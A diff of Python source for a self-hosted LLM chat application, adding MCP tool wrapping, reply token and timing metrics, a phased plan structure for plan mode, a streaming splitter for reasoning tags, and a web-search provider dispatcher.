||||
def _summary(arguments: dict[str, Any]) -> str:
|
||||
parts = [f"{name}={value!r}" for name, value in arguments.items()]
|
||||
text = ", ".join(parts)
|
||||
return text[:MAX_SUMMARY_CHARS]
|
||||
|
||||
|
||||
def _runner(spec: client.McpSpec, tool_name: str, offered: str):
|
||||
async def run(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
event = {
|
||||
"name": offered,
|
||||
"kind": "mcp",
|
||||
"label": f"{spec.name} · {tool_name}",
|
||||
"query": _summary(args),
|
||||
"detail": spec.name,
|
||||
"results": [],
|
||||
}
|
||||
try:
|
||||
text, failed = await client.call_tool(spec, tool_name, args)
|
||||
except (McpError, FetchError) as exc:
|
||||
message = exc.message
|
||||
log.info("mcp %s/%s failed: %s", spec.slug, tool_name, message)
|
||||
return ToolOutcome(
|
||||
f"The {tool_name} tool on {spec.name} failed: {message}",
|
||||
{**event, "status": "error", "error": message[:200]},
|
||||
)
|
||||
|
||||
text = text.strip()[: spec.max_chars]
|
||||
if failed:
|
||||
return ToolOutcome(
|
||||
f"The tool reported an error:\n{text}" if text else "The tool reported an error.",
|
||||
{**event, "status": "error", "error": text[:200] or "The tool reported an error."},
|
||||
)
|
||||
if not text:
|
||||
return ToolOutcome(
|
||||
f"{tool_name} returned nothing.", {**event, "status": "ok", "text": ""}
|
||||
)
|
||||
return ToolOutcome(text, {**event, "status": "ok", "text": text[:MAX_EVENT_CHARS]})
|
||||
|
||||
return run
|
||||
|
||||
|
||||
def _offered_tools(server: McpServer) -> list[dict[str, Any]]:
|
||||
"""The cached entries this server is currently willing to offer."""
|
||||
overrides = server.tool_overrides_json or {}
|
||||
# Absent means on, the rule the model capability flags follow: a tool that
|
||||
# appeared in the last refresh should work rather than silently do nothing.
|
||||
return [
|
||||
entry
|
||||
for entry in (server.tools_json or [])
|
||||
if isinstance(entry, dict) and overrides.get(entry.get("name"), True)
|
||||
]
|
||||
|
||||
|
||||
def tool_defs(
|
||||
db: DBSession, user: User | None, *, everything: bool = False, taken: set[str] | None = None
|
||||
) -> list[ToolDef]:
|
||||
"""One `ToolDef` per offerable tool across every visible server."""
|
||||
claimed = taken if taken is not None else set()
|
||||
out: list[ToolDef] = []
|
||||
|
||||
for server in tool_access.visible_mcp_servers(db, user, everything=everything):
|
||||
spec = client.spec_from(server)
|
||||
for entry in _offered_tools(server):
|
||||
name = str(entry.get("name") or "")
|
||||
offered = str(entry.get("offer_name") or "") or offer_name(
|
||||
server.slug, name, taken=claimed
|
||||
)
|
||||
claimed.add(offered)
|
||||
if not FUNCTION_NAME.match(offered):
|
||||
continue
|
||||
out.append(
|
||||
ToolDef(
|
||||
name=offered,
|
||||
family=f"{FAMILY_MCP}:{server.slug}",
|
||||
description=entry.get("description") or f"{name}, from {server.name}.",
|
||||
parameters=entry.get("schema") or {"type": "object", "properties": {}},
|
||||
run=_runner(spec, name, offered),
|
||||
# Conservative, because nothing in tools/list says. A server
|
||||
# calling something `search` may still be filing a ticket
|
||||
# with it, and the cost of being wrong this way is a
|
||||
# question nobody needed to answer.
|
||||
risk=RISK_WRITE,
|
||||
)
|
||||
)
|
||||
|
||||
return out
|
||||
|
||||
|
||||
async def refresh(db: DBSession, server: McpServer) -> tuple[int, str]:
|
||||
"""Contact a server and cache what it advertises. Returns (count, error).
|
||||
|
||||
Shaped like `api/admin.py:_refresh_models`, including writing `last_error`
|
||||
and `last_checked_at` on both paths so the row says what happened rather
|
||||
than only whether it worked.
|
||||
"""
|
||||
spec = client.spec_from(server)
|
||||
try:
|
||||
advertised, info, version = await client.list_tools(spec)
|
||||
except (McpError, FetchError) as exc:
|
||||
server.last_error = exc.message
|
||||
server.last_checked_at = datetime.now(UTC)
|
||||
db.commit()
|
||||
return 0, exc.message
|
||||
|
||||
taken: set[str] = set()
|
||||
for entry in advertised:
|
||||
entry["offer_name"] = offer_name(server.slug, entry["name"], taken=taken)
|
||||
|
||||
# Choices about tools that are still advertised survive; ones about tools
|
||||
# that have gone are dropped rather than left to accumulate.
|
||||
names = {entry["name"] for entry in advertised}
|
||||
server.tool_overrides_json = {
|
||||
name: on for name, on in (server.tool_overrides_json or {}).items() if name in names
|
||||
}
|
||||
|
||||
server.tools_json = advertised
|
||||
server.server_info = info
|
||||
server.protocol_version = version
|
||||
server.last_error = ""
|
||||
server.last_checked_at = datetime.now(UTC)
|
||||
db.commit()
|
||||
|
||||
log.info("mcp %s advertised %d tool(s)", server.slug, len(advertised))
|
||||
return len(advertised), ""
|
||||
|
||||
|
||||
__all__ = ["offer_name", "refresh", "tool_defs"]
|
||||
@@ -0,0 +1,136 @@
|
||||
"""What a reply cost, how fast it arrived, and how full the window is.
|
||||
|
||||
One shape, built either from a generation still being written or from the row
|
||||
it left behind. That matters more than it looks: the finished bubble is
|
||||
re-rendered from the database the instant the stream ends, so if the live
|
||||
numbers and the stored ones came from different code they would visibly jump at
|
||||
exactly the moment the reader is looking at them. Here the only thing that
|
||||
changes when a reply finishes is that an estimate may become exact.
|
||||
|
||||
Nothing here is authoritative about tokens. `estimated` says which kind of
|
||||
number this is, and every surface that shows one has to say so too.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
|
||||
from lembas.services import tokens
|
||||
|
||||
# Where the context bar changes colour. Not thresholds anyone tunes: they mark
|
||||
# "worth noticing" and "about to be a problem", and the second is deliberately
|
||||
# below the default compaction threshold so the warning arrives first.
|
||||
WARNING_AT = 80
|
||||
DANGER_AT = 95
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Metrics:
|
||||
"""Token counts and timing for one reply."""
|
||||
|
||||
prompt_tokens: int = 0
|
||||
completion_tokens: int = 0
|
||||
total_tokens: int = 0
|
||||
# What the window holds after this turn: the last round's prompt plus its
|
||||
# completion. Distinct from prompt+completion summed over tool rounds, which
|
||||
# is what the reply *cost* -- a three-round reply pays for its prompt three
|
||||
# times but only ever occupies the window once.
|
||||
context_tokens: int = 0
|
||||
context_limit: int = 0
|
||||
estimated: bool = False
|
||||
elapsed_ms: int = 0
|
||||
rounds: int = 1
|
||||
|
||||
@property
|
||||
def percent(self) -> int:
|
||||
"""How full the window is, or 0 when nobody has said how big it is."""
|
||||
if self.context_limit <= 0 or self.context_tokens <= 0:
|
||||
return 0
|
||||
return min(100, round(self.context_tokens * 100 / self.context_limit))
|
||||
|
||||
@property
|
||||
def tokens_per_second(self) -> float:
|
||||
if self.elapsed_ms <= 0 or self.completion_tokens <= 0:
|
||||
return 0.0
|
||||
return self.completion_tokens / (self.elapsed_ms / 1000)
|
||||
|
||||
@property
|
||||
def pressure(self) -> str:
|
||||
""""", "warning" or "danger" -- the class the context chip takes."""
|
||||
percent = self.percent
|
||||
if not percent:
|
||||
return ""
|
||||
if percent >= DANGER_AT:
|
||||
return "danger"
|
||||
if percent >= WARNING_AT:
|
||||
return "warning"
|
||||
return ""
|
||||
|
||||
@property
|
||||
def has_anything(self) -> bool:
|
||||
return bool(self.total_tokens or self.completion_tokens or self.elapsed_ms)
|
||||
|
||||
|
||||
def from_generation(generation: Any) -> Metrics:
|
||||
"""Metrics for a reply still being written.
|
||||
|
||||
Usage arrives in a single chunk at the very end, so mid-stream there is
|
||||
nothing to report and everything is estimated. The counts stop being
|
||||
estimates the moment that chunk lands, which is usually a beat before the
|
||||
bubble is replaced.
|
||||
"""
|
||||
import time
|
||||
|
||||
completion = generation.completion_tokens or tokens.estimate(
|
||||
generation.text + generation.thinking
|
||||
)
|
||||
prompt = generation.prompt_tokens or generation.prompt_estimate
|
||||
elapsed = generation.elapsed_ms or (
|
||||
int((time.monotonic() - generation.started_at) * 1000) if generation.started_at else 0
|
||||
)
|
||||
|
||||
return Metrics(
|
||||
prompt_tokens=prompt,
|
||||
completion_tokens=completion,
|
||||
total_tokens=prompt + completion,
|
||||
context_tokens=generation.context_tokens or (prompt + completion),
|
||||
context_limit=generation.context_limit,
|
||||
estimated=not (generation.prompt_tokens and generation.completion_tokens),
|
||||
elapsed_ms=elapsed,
|
||||
rounds=max(1, generation.rounds),
|
||||
)
|
||||
|
||||
|
||||
def from_message(usage_json: dict[str, Any] | None) -> Metrics:
|
||||
"""Metrics for a finished reply, read back off the row."""
|
||||
stored = usage_json or {}
|
||||
|
||||
def _int(key: str) -> int:
|
||||
value = stored.get(key)
|
||||
return int(value) if isinstance(value, (int, float)) and not isinstance(value, bool) else 0
|
||||
|
||||
return Metrics(
|
||||
prompt_tokens=_int("prompt_tokens"),
|
||||
completion_tokens=_int("completion_tokens"),
|
||||
total_tokens=_int("total_tokens"),
|
||||
context_tokens=_int("context_tokens"),
|
||||
context_limit=_int("context_limit"),
|
||||
estimated=bool(stored.get("estimated")),
|
||||
elapsed_ms=_int("elapsed_ms"),
|
||||
rounds=max(1, _int("rounds")),
|
||||
)
|
||||
|
||||
|
||||
def to_json(metrics: Metrics) -> dict[str, Any]:
|
||||
"""The shape stored in Message.usage_json."""
|
||||
return {
|
||||
"prompt_tokens": metrics.prompt_tokens,
|
||||
"completion_tokens": metrics.completion_tokens,
|
||||
"total_tokens": metrics.total_tokens,
|
||||
"context_tokens": metrics.context_tokens,
|
||||
"context_limit": metrics.context_limit,
|
||||
"estimated": metrics.estimated,
|
||||
"elapsed_ms": metrics.elapsed_ms,
|
||||
"rounds": metrics.rounds,
|
||||
}
|
||||
@@ -0,0 +1,342 @@
|
||||
"""A plan, as a structure rather than a list of sentences.
|
||||
|
||||
Plan mode used to produce `{title, steps}` and then forget it. That is enough to
|
||||
propose something and useless for carrying it out: there is nowhere to record
|
||||
what was found, nothing to tick off, and — worst — the plan was not in the
|
||||
prompt at all once execution started, so a model could not have kept it current
|
||||
if it had wanted to.
|
||||
|
||||
Version 2 is findings, objectives and phases of tasks. Three rules hold it up.
|
||||
|
||||
**`steps` is always written.** Flattened from every phase's tasks, in order. It
|
||||
is what `execute_plan` reads, so nothing downstream had to learn version 2 and
|
||||
every row already on disk keeps working.
|
||||
|
||||
**`normalise` is the only reader.** A `{title, steps}` row becomes one phase
|
||||
called "Plan" whose tasks are those steps, so the card, the harness and the
|
||||
Execute button have exactly one shape to deal with rather than two.
|
||||
|
||||
**Ids are generated here and never chosen by the model.** They appear in
|
||||
`render_block` so the model can quote one back to `plan_update`; letting it name
|
||||
them would mean validating names it made up, and a collision would silently
|
||||
re-tick a different task.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Any
|
||||
|
||||
VERSION = 2
|
||||
|
||||
# Bounds. A plan is read by a person and injected into every request while the
|
||||
# work is going on, so "as many as you like" costs the window forever and buries
|
||||
# the four items that mattered.
|
||||
MAX_PHASES = 8
|
||||
MAX_TASKS = 12
|
||||
MAX_OBJECTIVES = 8
|
||||
MAX_FINDINGS = 20
|
||||
MAX_TEXT = 300
|
||||
MAX_TITLE = 120
|
||||
|
||||
# The ceiling on the block put in front of the model each turn.
|
||||
MAX_PLAN_CHARS = 2000
|
||||
|
||||
TASK_STATUSES = ("todo", "doing", "done", "dropped")
|
||||
OBJECTIVE_STATUSES = ("open", "done", "dropped")
|
||||
PHASE_STATUSES = ("pending", "active", "done")
|
||||
|
||||
_DONE = {"done", "dropped"}
|
||||
|
||||
|
||||
def _text(value: Any, limit: int = MAX_TEXT) -> str:
|
||||
return " ".join(str(value or "").split())[:limit]
|
||||
|
||||
|
||||
def _status(value: Any, allowed: tuple[str, ...], fallback: str) -> str:
|
||||
wanted = str(value or "").strip().lower()
|
||||
return wanted if wanted in allowed else fallback
|
||||
|
||||
|
||||
def _listed(value: Any) -> list[Any]:
|
||||
"""A list, from a list or from the one thing a model sent instead.
|
||||
|
||||
The same tolerance `generation._questions_in` shows, for the same reason: a
|
||||
small model sends something close to the schema rather than the schema, and
|
||||
refusing costs a whole round trip to say so.
|
||||
"""
|
||||
if value is None:
|
||||
return []
|
||||
if isinstance(value, list):
|
||||
return value
|
||||
return [value]
|
||||
|
||||
|
||||
# --- Reading -------------------------------------------------------------------
|
||||
def normalise(raw: dict[str, Any] | None) -> dict[str, Any]:
|
||||
"""Any stored plan, as version 2.
|
||||
|
||||
A `{title, steps}` row -- which is every row that exists today -- becomes one
|
||||
phase called "Plan" whose tasks are the steps. Everything downstream then has
|
||||
one shape, and the version-1 branch lives here and nowhere else.
|
||||
"""
|
||||
raw = raw or {}
|
||||
if not raw:
|
||||
return {}
|
||||
|
||||
title = _text(raw.get("title"), MAX_TITLE) or "A plan"
|
||||
findings = [
|
||||
{"id": f"f{n}", "text": _text(item.get("text") if isinstance(item, dict) else item)}
|
||||
for n, item in enumerate(_listed(raw.get("findings"))[:MAX_FINDINGS], start=1)
|
||||
]
|
||||
findings = [f for f in findings if f["text"]]
|
||||
|
||||
objectives = []
|
||||
for n, item in enumerate(_listed(raw.get("objectives"))[:MAX_OBJECTIVES], start=1):
|
||||
source = item if isinstance(item, dict) else {"text": item}
|
||||
text = _text(source.get("text"))
|
||||
if text:
|
||||
objectives.append(
|
||||
{
|
||||
"id": f"o{n}",
|
||||
"text": text,
|
||||
"status": _status(source.get("status"), OBJECTIVE_STATUSES, "open"),
|
||||
}
|
||||
)
|
||||
|
||||
phases = _phases(raw)
|
||||
if not phases:
|
||||
# Version 1, or a model that sent only steps. One phase, so the rest of
|
||||
# the codebase never sees the older shape.
|
||||
tasks = [_text(step) for step in _listed(raw.get("steps"))]
|
||||
phases = [
|
||||
{
|
||||
"id": "p1",
|
||||
"title": "Plan",
|
||||
"status": "pending",
|
||||
"tasks": [
|
||||
{"id": f"t{n}", "text": text, "status": "todo", "note": ""}
|
||||
for n, text in enumerate([t for t in tasks if t][:MAX_TASKS], start=1)
|
||||
],
|
||||
}
|
||||
]
|
||||
|
||||
plan = {
|
||||
"version": VERSION,
|
||||
"title": title,
|
||||
"summary": _text(raw.get("summary")),
|
||||
"findings": findings,
|
||||
"objectives": objectives,
|
||||
"phases": phases,
|
||||
}
|
||||
plan["steps"] = flatten(plan)
|
||||
return plan
|
||||
|
||||
|
||||
def _phases(raw: dict[str, Any]) -> list[dict[str, Any]]:
|
||||
out: list[dict[str, Any]] = []
|
||||
counter = 0
|
||||
for n, item in enumerate(_listed(raw.get("phases"))[:MAX_PHASES], start=1):
|
||||
source = item if isinstance(item, dict) else {"title": item}
|
||||
tasks = []
|
||||
for entry in _listed(source.get("tasks"))[:MAX_TASKS]:
|
||||
got = entry if isinstance(entry, dict) else {"text": entry}
|
||||
text = _text(got.get("text"))
|
||||
if not text:
|
||||
continue
|
||||
counter += 1
|
||||
tasks.append(
|
||||
{
|
||||
"id": f"t{counter}",
|
||||
"text": text,
|
||||
"status": _status(got.get("status"), TASK_STATUSES, "todo"),
|
||||
"note": _text(got.get("note")),
|
||||
}
|
||||
)
|
||||
title = _text(source.get("title"), MAX_TITLE)
|
||||
if not title and not tasks:
|
||||
continue
|
||||
out.append(
|
||||
{
|
||||
"id": f"p{n}",
|
||||
"title": title or f"Phase {n}",
|
||||
"status": _status(source.get("status"), PHASE_STATUSES, "pending"),
|
||||
"tasks": tasks,
|
||||
}
|
||||
)
|
||||
return out
|
||||
|
||||
|
||||
def flatten(plan: dict[str, Any]) -> list[str]:
|
||||
"""Every task, in order, as plain sentences.
|
||||
|
||||
This is `steps`, and it is why version 2 needed no migration: `execute_plan`
|
||||
reads it and does not know the rest exists.
|
||||
"""
|
||||
return [task["text"] for phase in plan.get("phases", []) for task in phase.get("tasks", [])]
|
||||
|
||||
|
||||
# --- Writing --------------------------------------------------------------------
|
||||
def build(**raw: Any) -> dict[str, Any]:
|
||||
"""A plan from what `plan_submit` was given."""
|
||||
return normalise(raw)
|
||||
|
||||
|
||||
def merge(plan: dict[str, Any], patch: dict[str, Any]) -> tuple[dict[str, Any], list[str]]:
|
||||
"""The plan with one update applied, and what changed, in words.
|
||||
|
||||
Returns the words as well as the plan because the model gets them back as
|
||||
the tool's result -- "t3 is done, t4 is now doing" is what tells it the
|
||||
bookkeeping landed, and a silent success reads as a call that did nothing.
|
||||
"""
|
||||
plan = normalise(plan)
|
||||
if not plan:
|
||||
return {}, []
|
||||
|
||||
changed: list[str] = []
|
||||
tasks = {task["id"]: task for phase in plan["phases"] for task in phase["tasks"]}
|
||||
objectives = {item["id"]: item for item in plan["objectives"]}
|
||||
|
||||
for entry in _listed(patch.get("task_status")):
|
||||
got = entry if isinstance(entry, dict) else {"id": entry}
|
||||
task = tasks.get(_text(got.get("id"), 32))
|
||||
if task is None:
|
||||
continue
|
||||
task["status"] = _status(got.get("status"), TASK_STATUSES, task["status"])
|
||||
if got.get("note") is not None:
|
||||
task["note"] = _text(got.get("note"))
|
||||
changed.append(f"{task['id']} is {task['status']}")
|
||||
|
||||
for entry in _listed(patch.get("objective_status")):
|
||||
got = entry if isinstance(entry, dict) else {"id": entry}
|
||||
objective = objectives.get(_text(got.get("id"), 32))
|
||||
if objective is None:
|
||||
continue
|
||||
objective["status"] = _status(
|
||||
got.get("status"), OBJECTIVE_STATUSES, objective["status"]
|
||||
)
|
||||
changed.append(f"{objective['id']} is {objective['status']}")
|
||||
|
||||
for raw in _listed(patch.get("findings")):
|
||||
text = _text(raw.get("text") if isinstance(raw, dict) else raw)
|
||||
if not text or len(plan["findings"]) >= MAX_FINDINGS:
|
||||
continue
|
||||
plan["findings"].append({"id": f"f{len(plan['findings']) + 1}", "text": text})
|
||||
changed.append("a finding was recorded")
|
||||
|
||||
counter = max((int(t["id"][1:]) for t in tasks.values() if t["id"][1:].isdigit()), default=0)
|
||||
for entry in _listed(patch.get("add_tasks")):
|
||||
got = entry if isinstance(entry, dict) else {"text": entry}
|
||||
text = _text(got.get("text"))
|
||||
if not text:
|
||||
continue
|
||||
phase = _phase_for(plan, _text(got.get("phase"), 32))
|
||||
if phase is None or len(phase["tasks"]) >= MAX_TASKS:
|
||||
continue
|
||||
counter += 1
|
||||
phase["tasks"].append(
|
||||
{"id": f"t{counter}", "text": text, "status": "todo", "note": ""}
|
||||
)
|
||||
changed.append(f"t{counter} was added")
|
||||
|
||||
if patch.get("summary") is not None:
|
||||
plan["summary"] = _text(patch.get("summary"))
|
||||
|
||||
_restate_phases(plan)
|
||||
plan["steps"] = flatten(plan)
|
||||
return plan, changed
|
||||
|
||||
|
||||
def _phase_for(plan: dict[str, Any], wanted: str) -> dict[str, Any] | None:
|
||||
"""The named phase, or the one work is currently in."""
|
||||
for phase in plan["phases"]:
|
||||
if phase["id"] == wanted:
|
||||
return phase
|
||||
for phase in plan["phases"]:
|
||||
if phase["status"] == "active":
|
||||
return phase
|
||||
for phase in plan["phases"]:
|
||||
if any(task["status"] not in _DONE for task in phase["tasks"]):
|
||||
return phase
|
||||
return plan["phases"][-1] if plan["phases"] else None
|
||||
|
||||
|
||||
def _restate_phases(plan: dict[str, Any]) -> None:
|
||||
"""A phase's status follows from its tasks, so it cannot disagree with them.
|
||||
|
||||
Asking the model to keep both current would mean a plan that says "phase 1:
|
||||
done" over four tasks marked todo, which is worse than either alone.
|
||||
"""
|
||||
started = False
|
||||
for phase in plan["phases"]:
|
||||
if not phase["tasks"]:
|
||||
continue
|
||||
if all(task["status"] in _DONE for task in phase["tasks"]):
|
||||
phase["status"] = "done"
|
||||
continue
|
||||
# The first phase with anything left in it is the one being worked on;
|
||||
# everything after it is still to come. There is exactly one active
|
||||
# phase by construction, which is what stops the render showing three.
|
||||
phase["status"] = "pending" if started else "active"
|
||||
started = True
|
||||
|
||||
|
||||
# --- For the prompt ---------------------------------------------------------------
|
||||
def render_block(plan: dict[str, Any] | None, budget: int = MAX_PLAN_CHARS) -> str:
|
||||
"""The plan as the model sees it each turn, within a budget.
|
||||
|
||||
Budgeted rather than dumped, exactly like the project listing: a finished
|
||||
phase collapses to one line, the phase being worked on is shown in full, and
|
||||
the ids are visible because they are what `plan_update` takes.
|
||||
"""
|
||||
plan = normalise(plan)
|
||||
if not plan or budget <= 0:
|
||||
return ""
|
||||
|
||||
lines = [f"**{plan['title']}**"]
|
||||
if plan["summary"]:
|
||||
lines.append(plan["summary"])
|
||||
|
||||
if plan["objectives"]:
|
||||
lines.append("")
|
||||
lines.append("What it is for:")
|
||||
for item in plan["objectives"]:
|
||||
mark = "x" if item["status"] == "done" else "-" if item["status"] == "dropped" else " "
|
||||
lines.append(f"- [{mark}] {item['id']} {item['text']}")
|
||||
|
||||
if plan["findings"]:
|
||||
lines.append("")
|
||||
lines.append("What was found:")
|
||||
for item in plan["findings"][-MAX_FINDINGS:]:
|
||||
lines.append(f"- {item['text']}")
|
||||
|
||||
lines.append("")
|
||||
for phase in plan["phases"]:
|
||||
done = sum(1 for task in phase["tasks"] if task["status"] in _DONE)
|
||||
if phase["status"] == "done" and phase["tasks"]:
|
||||
lines.append(f"✓ {phase['title']} ({len(phase['tasks'])} tasks, done)")
|
||||
continue
|
||||
lines.append(f"{phase['title']} ({done}/{len(phase['tasks'])})")
|
||||
for task in phase["tasks"]:
|
||||
mark = {"done": "x", "doing": ">", "dropped": "-"}.get(task["status"], " ")
|
||||
note = f" — {task['note']}" if task["note"] else ""
|
||||
lines.append(f" [{mark}] {task['id']} {task['text']}{note}")
|
||||
|
||||
text = "\n".join(lines).strip()
|
||||
if len(text) <= budget:
|
||||
return text
|
||||
cut = text[:budget]
|
||||
at = cut.rfind("\n")
|
||||
if at > budget // 2:
|
||||
cut = cut[:at]
|
||||
return f"{cut.rstrip()}\n… (the rest is in the plan card above)"
|
||||
|
||||
|
||||
__all__ = [
|
||||
"MAX_PLAN_CHARS",
|
||||
"VERSION",
|
||||
"build",
|
||||
"flatten",
|
||||
"merge",
|
||||
"normalise",
|
||||
"render_block",
|
||||
]
|
||||
@@ -0,0 +1,133 @@
|
||||
"""Separating a reasoning model's thinking from its answer.
|
||||
|
||||
Endpoints do this two different ways and LLeMbas has to cope with both:
|
||||
|
||||
1. A dedicated ``reasoning_content`` field in the streamed delta. This is what
|
||||
llama.cpp, llama-swap, vLLM and DeepSeek emit, and it is unambiguous.
|
||||
2. ``<think>...</think>`` tags inline in ``content``. Ollama and various
|
||||
proxies do this, and it is a nuisance: the tags arrive split across chunks,
|
||||
so the text has to be scanned as a stream rather than with a regex at the
|
||||
end.
|
||||
|
||||
The splitter below handles the second case. It buffers only as much as a
|
||||
partial tag could occupy, so latency is unaffected in the overwhelmingly common
|
||||
case where no tag is present at all.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from collections.abc import Iterator
|
||||
|
||||
# Tag spellings seen in the wild. Checked longest-first so <thinking> is not
|
||||
# mistaken for <think> followed by "ing>".
|
||||
_TAGS: tuple[tuple[str, str], ...] = (
|
||||
("<thinking>", "</thinking>"),
|
||||
("<think>", "</think>"),
|
||||
("<reasoning>", "</reasoning>"),
|
||||
)
|
||||
|
||||
REASONING = "reasoning"
|
||||
CONTENT = "content"
|
||||
|
||||
# Longest opening tag, minus one: the most that can ever need holding back
|
||||
# while waiting to see whether a partial "<thi" turns into a real tag.
|
||||
_MAX_PARTIAL = max(len(open_tag) for open_tag, _ in _TAGS) - 1
|
||||
|
||||
|
||||
class ReasoningSplitter:
|
||||
"""Splits a stream of content chunks into reasoning and answer runs.
|
||||
|
||||
Feed it whatever arrives; it yields ``(kind, text)`` pairs. Call
|
||||
:meth:`flush` at the end to release anything still buffered.
|
||||
"""
|
||||
|
||||
def __init__(self) -> None:
|
||||
self._buffer = ""
|
||||
self._in_reasoning = False
|
||||
self._closing = ""
|
||||
|
||||
def feed(self, chunk: str) -> Iterator[tuple[str, str]]:
|
||||
self._buffer += chunk
|
||||
yield from self._drain(final=False)
|
||||
|
||||
def flush(self) -> Iterator[tuple[str, str]]:
|
||||
yield from self._drain(final=True)
|
||||
|
||||
def _drain(self, *, final: bool) -> Iterator[tuple[str, str]]:
|
||||
while self._buffer:
|
||||
if self._in_reasoning:
|
||||
index = self._buffer.find(self._closing)
|
||||
if index == -1:
|
||||
# Hold back enough that a closing tag split across chunks is
|
||||
# still recognised once the rest arrives.
|
||||
keep = 0 if final else len(self._closing) - 1
|
||||
emit, self._buffer = self._split(keep)
|
||||
if emit:
|
||||
yield (REASONING, emit)
|
||||
return
|
||||
if index:
|
||||
yield (REASONING, self._buffer[:index])
|
||||
self._buffer = self._buffer[index + len(self._closing) :]
|
||||
self._in_reasoning = False
|
||||
self._closing = ""
|
||||
continue
|
||||
|
||||
opening_at, opening, closing = self._find_opening()
|
||||
if opening_at == -1:
|
||||
keep = 0 if final else _MAX_PARTIAL
|
||||
emit, self._buffer = self._split(keep)
|
||||
if emit:
|
||||
yield (CONTENT, emit)
|
||||
return
|
||||
|
||||
if opening_at:
|
||||
yield (CONTENT, self._buffer[:opening_at])
|
||||
self._buffer = self._buffer[opening_at + len(opening) :]
|
||||
self._in_reasoning = True
|
||||
self._closing = closing
|
||||
|
||||
def _find_opening(self) -> tuple[int, str, str]:
|
||||
best = (-1, "", "")
|
||||
for opening, closing in _TAGS:
|
||||
index = self._buffer.find(opening)
|
||||
if index != -1 and (best[0] == -1 or index < best[0]):
|
||||
best = (index, opening, closing)
|
||||
return best
|
||||
|
||||
def _split(self, keep: int) -> tuple[str, str]:
|
||||
"""Emit everything except the last `keep` characters."""
|
||||
if keep <= 0:
|
||||
return self._buffer, ""
|
||||
if len(self._buffer) <= keep:
|
||||
return "", self._buffer
|
||||
return self._buffer[:-keep], self._buffer[-keep:]
|
||||
|
||||
|
||||
def strip_reasoning(text: str) -> tuple[str, str]:
|
||||
"""Split a complete string into (answer, reasoning).
|
||||
|
||||
The non-streaming counterpart, used when replaying stored content.
|
||||
"""
|
||||
splitter = ReasoningSplitter()
|
||||
answer: list[str] = []
|
||||
thinking: list[str] = []
|
||||
for kind, piece in splitter.feed(text):
|
||||
(thinking if kind == REASONING else answer).append(piece)
|
||||
for kind, piece in splitter.flush():
|
||||
(thinking if kind == REASONING else answer).append(piece)
|
||||
return "".join(answer), "".join(thinking)
|
||||
|
||||
|
||||
def format_duration(milliseconds: int) -> str:
|
||||
"""Human phrasing for the 'Thought for ...' label."""
|
||||
if milliseconds <= 0:
|
||||
return ""
|
||||
seconds = milliseconds / 1000
|
||||
if seconds < 1:
|
||||
return "less than a second"
|
||||
if seconds < 60:
|
||||
return f"{seconds:.0f} second{'' if round(seconds) == 1 else 's'}"
|
||||
minutes, remainder = divmod(int(seconds), 60)
|
||||
if remainder == 0:
|
||||
return f"{minutes} minute{'' if minutes == 1 else 's'}"
|
||||
return f"{minutes}m {remainder}s"
|
||||
@@ -0,0 +1,108 @@
|
||||
"""Web search providers.
|
||||
|
||||
One shape in, one shape out: a query and a limit go in, a list of SearchResult
|
||||
comes back, and which service answered is a setting rather than a code path any
|
||||
caller has to know about.
|
||||
|
||||
Everything here returns *untrusted third-party text*. A title or snippet from a
|
||||
search result is exactly as much attacker-controlled as model output, and gets
|
||||
the same treatment: escaped on the way into a page, and only http/https URLs
|
||||
rendered as links.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
|
||||
from lembas.services.search import ddg, firecrawl, searxng
|
||||
from lembas.services.search.base import SearchError, SearchResult
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Provider:
|
||||
key: str
|
||||
label: str
|
||||
description: str
|
||||
# Whether an administrator has to configure something before it works.
|
||||
needs_setup: bool
|
||||
|
||||
|
||||
PROVIDERS: tuple[Provider, ...] = (
|
||||
Provider(
|
||||
"ddgs",
|
||||
"DuckDuckGo",
|
||||
"No account, no key, no server to run. Rate limited if used heavily.",
|
||||
False,
|
||||
),
|
||||
Provider(
|
||||
"searxng",
|
||||
"SearXNG",
|
||||
"Your own metasearch instance. Needs its JSON format enabled.",
|
||||
True,
|
||||
),
|
||||
Provider(
|
||||
"firecrawl",
|
||||
"Firecrawl",
|
||||
"Hosted search API. Needs an account and a key.",
|
||||
True,
|
||||
),
|
||||
)
|
||||
|
||||
_RUNNERS = {"ddgs": ddg.search, "searxng": searxng.search, "firecrawl": firecrawl.search}
|
||||
|
||||
|
||||
def provider(key: str) -> Provider:
|
||||
return next((p for p in PROVIDERS if p.key == key), PROVIDERS[0])
|
||||
|
||||
|
||||
def availability(key: str) -> str:
|
||||
"""Why a provider cannot be used, or "" when it can.
|
||||
|
||||
Checked before a search is attempted so the admin screen can say what is
|
||||
wrong while it is being configured, rather than the first chat to try it
|
||||
being where the problem surfaces.
|
||||
"""
|
||||
if key == "ddgs" and not ddg.is_available():
|
||||
return (
|
||||
"The ddgs package is not installed. Install it with: "
|
||||
'pip install "lembas[search]"'
|
||||
)
|
||||
return ""
|
||||
|
||||
|
||||
async def run(
|
||||
config: dict[str, Any], query: str, *, limit: int | None = None
|
||||
) -> list[SearchResult]:
|
||||
"""Search with whichever provider is configured.
|
||||
|
||||
Raises SearchError with something worth reading; every provider translates
|
||||
its own failures rather than letting an httpx exception escape.
|
||||
"""
|
||||
query = " ".join(query.split())[:400]
|
||||
if not query:
|
||||
raise SearchError("There was nothing to search for.")
|
||||
|
||||
key = config.get("provider") or "ddgs"
|
||||
problem = availability(key)
|
||||
if problem:
|
||||
raise SearchError(problem)
|
||||
|
||||
runner = _RUNNERS.get(key)
|
||||
if runner is None:
|
||||
raise SearchError(f"Unknown search provider '{key}'.")
|
||||
|
||||
count = limit or int(config.get("max_results") or 5)
|
||||
# A model that asks for fifty results is asking for a prompt nobody can
|
||||
# afford; the administrator's number is the ceiling either way.
|
||||
count = min(max(count, 1), int(config.get("max_results") or 5))
|
||||
|
||||
results = await runner(config, query, count)
|
||||
log.info("web search (%s) for %r: %d results", key, query[:60], len(results))
|
||||
return results[:count]
|
||||
|
